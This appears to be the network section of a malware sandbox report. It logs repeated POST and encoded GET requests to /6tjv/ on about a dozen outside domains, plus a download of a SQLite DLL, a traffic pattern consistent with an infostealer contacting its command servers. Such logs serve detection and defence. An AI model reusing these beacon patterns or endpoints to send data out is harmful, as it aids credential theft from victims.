Network Analysis

POST /6tjv/ HTTP/1.1 Host: www.wtwbenefitsapp.com Connection: close Content-Length: 176 Cache-Control: no-cache Origin: http://www.wtwbenefitsapp.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.wtwbenefitsapp.com/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK Server: nginx Date: Mon, 17 Jul 2023 22:23:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip

GET /6tjv/?vv-9CC=ZekHcMczm1dRtokxNZDo90S9mkxwTcZYZfHK9EQ1vrBiXxapRt+GBgnIAZ7NmICX8PlBD4kZJKEGkx1iFxsaaM15ARq/tjezy4yawwM=&pq2FH=S4AijUGo HTTP/1.1 Host: www.wtwbenefitsapp.com Connection: close

HTTP/1.1 200 OK Server: nginx Date: Mon, 17 Jul 2023 22:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding

GET /2019/sqlite-dll-win32-x86-3280000.zip HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: www.sqlite.org Connection: Keep-Alive

HTTP/1.1 200 OK Connection: keep-alive Date: Mon, 17 Jul 2023 22:23:33 GMT Last-Modified: Tue, 09 Jul 2019 09:49:15 GMT Cache-Control: max-age=120 ETag: "m5d24631bs762f9" Content-type: application/zip; charset=utf-8 Content-length: 484089

POST /6tjv/ HTTP/1.1 Host: www.ready-sim.com Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.ready-sim.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.ready-sim.com/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found date: Mon, 17 Jul 2023 22:23:42 GMT server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.0.30 content-length: 203 content-type: text/html; charset=iso-8859-1 connection: close

GET /6tjv/?vv-9CC=vP6NfS7dbW4c/VsB/A1JURezZpJQ8nsbdWFTlOVf6iuLILrS76/L187Vau3Zr+6SA7xbkoW8K+sU0FMWlbfewoyXotU6Wa8RuVm/2CU=&pq2FH=S4AijUGo HTTP/1.1 Host: www.ready-sim.com Connection: close

HTTP/1.1 404 Not Found date: Mon, 17 Jul 2023 22:23:44 GMT server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.0.30 content-length: 203 content-type: text/html; charset=iso-8859-1 connection: close

POST /6tjv/ HTTP/1.1 Host: www.ioddinemax.info Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.ioddinemax.info User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.ioddinemax.info/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Date: Mon, 17 Jul 2023 22:23:50 GMT Server: Apache Content-Length: 32106 Connection: close Content-Type: text/html

GET /6tjv/?vv-9CC=fT/TJdNtCaICjnQUbIUnRDxeECYphy4YrVvAjvU+q1IskcVwc07AsJLK3tqtGnkOp8a2PyJB1vyRLc2GY7t3W09lxia7P5+VAS1NVX4=&pq2FH=S4AijUGo HTTP/1.1 Host: www.ioddinemax.info Connection: close

HTTP/1.1 404 Not Found Date: Mon, 17 Jul 2023 22:23:53 GMT Server: Apache Content-Length: 32106 Connection: close Content-Type: text/html; charset=utf-8

POST /6tjv/ HTTP/1.1 Host: www.unrushlagos.life Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.unrushlagos.life User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.unrushlagos.life/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Server: nginx Date: Mon, 17 Jul 2023 22:23:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Request-Id: 4b1b5681-ce26-4ddb-a2de-6c1127749c00 X-Runtime: 0.004798 X-Simplero-Server: web16 Content-Encoding: gzip

GET /6tjv/?vv-9CC=xlJUlHglSOoU+WCfb7fTPB0ne55wcB2OinDKM2+2ognpQIYysf1z9BtCtwIQWly94RFYkrYMsBdvlNEOmEGbARRcASpMTevagbuBWCs=&pq2FH=S4AijUGo HTTP/1.1 Host: www.unrushlagos.life Connection: close

HTTP/1.1 404 Not Found Server: nginx Date: Mon, 17 Jul 2023 22:24:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2058 Connection: close Vary: Accept-Encoding X-Request-Id: d315e615-9f96-4c4c-8929-ee428e8a0bd7 X-Runtime: 0.004269 X-Simplero-Server: web17

POST /6tjv/ HTTP/1.1 Host: www.innerpeasnutrition.com Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.innerpeasnutrition.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.innerpeasnutrition.com/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 17 Jul 2023 22:24:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"64b4d593-cf1" Content-Encoding: gzip

GET /6tjv/?vv-9CC=WCkonbtgklsJqt3U5AwYJ1vBQL+yzEkdXA8xucMJZCRnQC5eVhyQZD76BbsvWN4F2+2X9EJdLRzHIYbKsSuvhyO7xMyIhyiPV1yBlVw=&pq2FH=S4AijUGo HTTP/1.1 Host: www.innerpeasnutrition.com Connection: close

HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 17 Jul 2023 22:24:09 GMT Content-Type: text/html Content-Length: 3313 Connection: close Vary: Accept-Encoding ETag: "64b4d593-cf1"

POST /6tjv/ HTTP/1.1 Host: www.fokusdongs89.click Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.fokusdongs89.click User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.fokusdongs89.click/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Mon, 17 Jul 2023 22:24:15 GMT server: LiteSpeed

GET /6tjv/?vv-9CC=lddPhGieQ3lEt24wxfGSZqEKUhgeh07HzuUXm/iAUma5yHruZSDAYtghKLMKtfuJW8oz7rp+ckpMDOoMhDPkb2WQy1Gqr+rGodidlkk=&pq2FH=S4AijUGo HTTP/1.1 Host: www.fokusdongs89.click Connection: close

HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Mon, 17 Jul 2023 22:24:18 GMT server: LiteSpeed

POST /6tjv/ HTTP/1.1 Host: www.pzr9.com Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.pzr9.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.pzr9.com/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Server: nginx Date: Mon, 17 Jul 2023 22:24:23 GMT Content-Type: text/html Content-Length: 548 Connection: close

GET /6tjv/?vv-9CC=Xe+4czuF8BNTvCl2jtutD0nc61uG19PQTHhiWjCSfHaBQ4NOq8i8K6quZY+U+HiY2tqWNVv2/OiMBhH2zz7G+0xdm39gVqvBoSlQlAk=&pq2FH=S4AijUGo HTTP/1.1 Host: www.pzr9.com Connection: close

HTTP/1.1 404 Not Found Server: nginx Date: Mon, 17 Jul 2023 22:24:26 GMT Content-Type: text/html Content-Length: 146 Connection: close

POST /6tjv/ HTTP/1.1 Host: www.subicpearlresorthotel.com Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.subicpearlresorthotel.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.subicpearlresorthotel.com/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Date: Mon, 17 Jul 2023 22:24:31 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://subicpearlresorthotel.com/wp-json/>; rel="https://api.w.org/" Set-Cookie: sh_form_builder_hash=form_builder_64b5bf9fed850 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 8707 Content-Type: text/html; charset=UTF-8

GET /6tjv/?vv-9CC=z8EanEHhaicdSPwbUmMymlHZg3JWg4d9/pg0TpyNm6NFsGct/BtDMX7PWnf5Qsg1SQP92ELHhW5VyKkGW4ou1D5KNmy23lxxfwDNRJc=&pq2FH=S4AijUGo HTTP/1.1 Host: www.subicpearlresorthotel.com Connection: close

HTTP/1.1 301 Moved Permanently Date: Mon, 17 Jul 2023 22:24:34 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Set-Cookie: sh_form_builder_hash=form_builder_64b5bfa2985c0 Upgrade: h2,h2c Connection: Upgrade, close Location: http://subicpearlresorthotel.com/6tjv/?vv-9CC=z8EanEHhaicdSPwbUmMymlHZg3JWg4d9/pg0TpyNm6NFsGct/BtDMX7PWnf5Qsg1SQP92ELHhW5VyKkGW4ou1D5KNmy23lxxfwDNRJc=&pq2FH=S4AijUGo Content-Length: 0 Content-Type: text/html; charset=UTF-8

POST /6tjv/ HTTP/1.1 Host: www.touslesjeudis-test2.ovh Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.touslesjeudis-test2.ovh User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.touslesjeudis-test2.ovh/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Server: nginx Date: Mon, 17 Jul 2023 22:24:40 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 273 Connection: close

GET /6tjv/?vv-9CC=/1l307yFeMFeHrk4mAgZBkH4SykpTjYiA/5hCG+BMYVXlwubXDmDfEwOCf1sFfh9qMjxTdQuOFbq+mW+2MyEO3xWCYiKD3QyLOwlqdk=&pq2FH=S4AijUGo HTTP/1.1 Host: www.touslesjeudis-test2.ovh Connection: close

HTTP/1.1 404 Not Found Server: nginx Date: Mon, 17 Jul 2023 22:24:43 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 273 Connection: close

POST /6tjv/ HTTP/1.1 Host: www.minsk-adstr.pro Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.minsk-adstr.pro User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.minsk-adstr.pro/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Server: nginx Date: Mon, 17 Jul 2023 22:24:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.29 Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://minsk-adstr.pro/wp-json/>; rel="https://api.w.org/" Set-Cookie: PHPSESSID=cddeq5nhh4l70lksgphs2tun69; path=/ Content-Encoding: gzip

GET /6tjv/?vv-9CC=Plpwe/Vj3Si6m7s4WjkFQxqA5vT0CFMrYA9s5aV5DJ4PZlRiX3dSCC0X24ZLQNtV+tbWCzZMNx9DmPvcY1vaNPprvVENxM3YounydDs=&pq2FH=S4AijUGo HTTP/1.1 Host: www.minsk-adstr.pro Connection: close

HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 17 Jul 2023 22:24:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close X-Powered-By: PHP/8.0.29 Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Set-Cookie: PHPSESSID=gbbe7ghj9pf8hmb5u2l6lf59ur; path=/ Location: http://minsk-adstr.pro/6tjv/?vv-9CC=Plpwe/Vj3Si6m7s4WjkFQxqA5vT0CFMrYA9s5aV5DJ4PZlRiX3dSCC0X24ZLQNtV+tbWCzZMNx9DmPvcY1vaNPprvVENxM3YounydDs=&pq2FH=S4AijUGo

POST /6tjv/ HTTP/1.1 Host: www.jsmaiyou.com Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.jsmaiyou.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.jsmaiyou.com/6tjv/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /6tjv/?vv-9CC=GT7mDBetp/BsCYP1aTCFpL/ADJtJH8x8/gvfm7l4NLF0tD2iOM8XYGcDii6V0tjr8Xc6kwylBNXtOHbYpVwzl/f1TWI72f0ir/DsOw8=&pq2FH=S4AijUGo HTTP/1.1 Host: www.jsmaiyou.com Connection: close